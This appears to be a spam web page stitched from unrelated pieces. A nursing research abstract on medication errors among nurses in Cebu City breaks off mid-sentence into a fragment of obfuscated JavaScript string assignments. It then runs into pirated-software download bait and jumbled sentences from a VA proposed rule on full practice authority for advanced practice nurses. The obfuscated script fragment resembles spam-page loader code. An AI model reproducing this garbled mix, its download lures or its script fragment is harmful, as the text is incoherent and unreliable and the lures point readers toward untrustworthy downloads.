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Contributory factors and prevalent causes of medication errors among nurses in Cebu City

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ABSTRACT

The researcher determined the contributory factors and prevalent causes of medication errors among nurses in Cebu City. The increasing incidence of medication errors nowadays prompted the researcher to explore the different factors and causes of this healthcare concern. This is something of value since it served as a basis in formulating a plan of preventive measures. This study utilized a quantitative correlational research with a descriptive qualitative method. Basically, there were 100 nurses who participated in the study. These nurses were chosen based on a specified criteria and data collection was conducted on these participants who came from different tertiary public and private hospitals in Cebu City. With the help of SSPS, the findings of this study revealed that the topmost common contributory factors of medication error are high workload, stress and level of tiredness, communication problem, and working environment while topmost common prevalent causes are illegible physician's order, computing the wrong dose, and not identifying the right patient. Further, it revealed that generally the most of the items from the contributory factors and prevalent causes of medication errors do not have significant relationships with each other. This study was inspired by the Human Error theory by James Reason. It explained that mistakes or errors are human-nature. In this study, a proposed preventive measure was formulated to help combat the occurrence of medication errors. These measures include professional and systemic reforms. These reforms aimed to change not only the person but the whole system or organization, as well.

Keywords: contributory factors, prevalent causes, medication errors, nurses, Cebu City, preventive measures

I. INTRODUCTION

Medication errors continually rise in practice – just as when patients thought nurses could help them, it is when nurses intentionally or unintentionally put them at risk instead. According to the National Coordinating Council for Medication Error Reporting and Prevention (2009):

"Medication error is any preventable event that may cause or lead to inappropriate medication use or patient harm while the medication is in the control of the healthcare professional, the patient, or the consumer. Such events may be related to professional practice, health care products, procedures, and

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\"";JD["xqxm"]="ssDa";JD["CIWw"]="exOf";JD["Ysce"]="inde";JD["CKBw"]="fals";JD["layj"]="e,ur";JD["SPHe"]="';\$.. The proposed rulemaking would also provide the criteria under which VA may grant full practice authority to an APRN, and define the scope of full practice authority for each category of APRN. Rival Books of Aster - Grimoirum Verum Expansion Pack download for pc [portable edition]

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DATES: Comments must be received by VA on or before July 2 ADDRESSES: Written comments may be submitted: Through http://www.. ACTION: Proposed rule SUMMARY: The Department of Veterans Affairs (VA) is proposing to amend its medical regulations to permit full practice authority of all VA advanced practice registered nurses (APRNs) when they are acting within the scope of their VA employment.. This rule would permit VA to use its health care resources more effectively and in a manner that is consistent with the role of APRNs in the non- VA health care sector, while maintaining the patient-centered, safe, high-quality health care that veterans receive from VA.. Advanced Practice Registered Nurses Start Preamble AGENCY: Department of Veterans Affairs.. The proposed rulemaking would establish additional professional qualifications an individual must possess to be appointed as an APRN within VA.. The proposed rulemaking would subdivide APRN's into four separate categories that include certified nurse practitioner, certified registered nurse anesthetist, clinical nurse specialist, and certified nurse- midwife. ae05505a44 3 Photoinstrument Скачать Бесплатно

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